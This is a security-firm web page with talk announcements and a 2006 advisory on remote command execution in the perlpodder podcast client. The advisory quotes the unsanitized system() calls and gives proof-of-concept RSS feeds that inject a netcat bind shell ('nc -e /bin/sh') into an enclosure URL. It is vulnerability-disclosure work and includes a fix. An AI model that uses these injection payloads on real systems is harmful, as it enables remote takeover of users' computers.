02/10/2015
On 25 February 2015, Jens Liebchen will be at the 22. DFN-Konferenz “Sicherheit in vernetzten Systemen” in Hamburg, discussing success factors for good penetration tests based on his practical experience as a penetration tester. The language of the talk will be German.

12/03/2014
The (German) slides from the talk “Angriff zur Verteidigung – Erfolgsfaktoren für gute Penetrationstests”, held at the IT-Sicherheitstag NRW in Hagen are now available in the publications section

05/13/2014
The new category testmonials contains anonymised customer statements about RedTeam Pentesting's services. The testimonials displayed are rotated on a regular basis, to provide a comprehensive picture.

10/24/2013
During the 37. Datenschutzfachtagung (DAFTA) held in Cologne from 14 to 15 November 2013 Jens Liebchen will give the talk “Jailbreaking Your MFP for More Security”.

10/24/2013
On 29 November 2013 from noon to 2pm Jens Liebchen will be giving the talk “Jailbreaking Your MFP for more Security” at the Rechenzentrum of the RWTH Aachen University. The talk is open to all audiences and will take place in the lecture room of the Rechenzentrum.

05/16/2013
On 25 May 2013, Jens Liebchen will give the talk “Jailbreaking Your MFP for More Security” at the LinuxTag 2013 in Berlin.

Perlpodder Remote Arbitrary Command Execution

RedTeam identified a security flaw in perlpodder which makes it possible
for a malicious podcast server to execute arbitrary shell commands on
the victim's client.
Details
=======
Product: perlpodder
Affected Versions: All versions up to perlpodder-0.4
Fixed Versions: perlpodder-0.5
Vulnerability Type: Remote arbitrary command execution
Security-Risk: high
Vendor-URL: http://perlpodder.sourceforge.net/
Vendor-Status: informed, fixed
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-003
Advisory-Status: public
CVE: CVE-2006-2550 (echo vector)
CVE-2006-2548 (wget vector)
CVE-URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2550
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2548
Introduction
============
Perlpodder is a podcatcher script written in perl. It automates
downloading podcasts.
(from perlpodder SourceForge page)
Podcasting is the distribution of multimedia files over the internet.
Normally, a server is providing an RSS or Atom XML feed describing where
to get the multimedia files. The client parses the feed and may then
download the desired files.
More Details
============
When perlpodder is used to fetch a podcast, perlpodder will extract the
URL of the audio-file from the XML-file the server provides. The URLs
are saved in the variable "$dlset". There are two occasions in the code
where this variable will be used together with the system() command:
The first usage is with "echo" to log the URL (line 278):
[...]
277 # add urls to log file to mark as retrieved
278 $addurl = "echo " . $dlset . " >> $log_path ";
279 system $addurl;
[...]
The second usage is with "wget" to actually fetch the audio file (line
294):
[...]
291 # Prepair to call wget
292
293 $wget_path = "$cwd". "$datadir" ;
294 $wget_cmd = "wget --quiet --background -o /dev/null -c --tries=2
--timeout=20 --random-wait " . $dlset . " -P ". $wget_path ;
295
296 if ($DEBUG > 0) {
297
298 print "running " . $wget_cmd . "\n" ;
299
300 }
301
302 system $wget_cmd;
[...]
Unfortunately, $dlset is never properly sanitized, so it is possible for
the remote server to include arbitrary shell commands in the URL which
will then be executed using system() (lines 279 and 302).
Proof of Concept
================
A minimal malicious server rss feed which exploits the "echo" call may
look as follows:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl"?>
<rss version="2.0">
<channel>
<title>RedTeam Pentesting Example Malicious Server Feed</title>
<item>
<enclosure url="http://www.example.com/example.mp3 >> /dev/null; nc -e /bin/sh -l -p 1337 &amp;#"
length="241734" type="audio/mpeg" />
</item>
</channel>
</rss>
The URL above will open port 1337 via netcat on the victim's computer
and bind a shell to it. This is just one example of how to exploit the
vulnerability, as arbitrary commands can be included in the URL, but it
should illustrate the point.
To exploit the "wget" call, the URL just has to be minimally adjusted:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl"?>
<rss version="2.0">
<channel>
<title>RedTeam Pentesting</title>
<item>
<enclosure url="http://www.example.com/example.mp3; nc -e /bin/sh -l -p 1337 &amp;#"
length="241734" type="audio/mpeg" />
</item>
</channel>
</rss>
Workaround
==========
Do not use perlpodder with untrusted servers.
Fix
===
Upgrade to perlpodder-0.5 immediately[1].
Security Risk
=============
High, because arbitrary shell commands can be executed on the victim's
computer with the privileges of perlpodder (normally the user's
privileges).
History
=======
2006-05-19 Discovery of the problem
2006-05-19 Notification of the author
2006-05-21 Fixed version of perlpodder is released
2006-05-22 Email from author pointing out the release
2006-05-22 Public release of the advisory without CVE
number because of public release by the
author. CVE will be appended when available.
2006-05-24 CVE added
2009-05-08 Updated Advisory URL
References
==========
[1] http://prdownloads.sourceforge.net/perlpodder/perlpodder-0.5.tar.gz?download
RedTeam
=======
RedTeam Pentesting offers individual penetration tests, short pentests,
performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks are uncovered and can be fixed
immediately.
As there are only few experts in this field, RedTeam wants to share its
knowledge and enhance the public knowledge with research in security
related areas. The results are made available as public security
advisories.
More information about RedTeam can be found at
http://www.redteam-pentesting.de.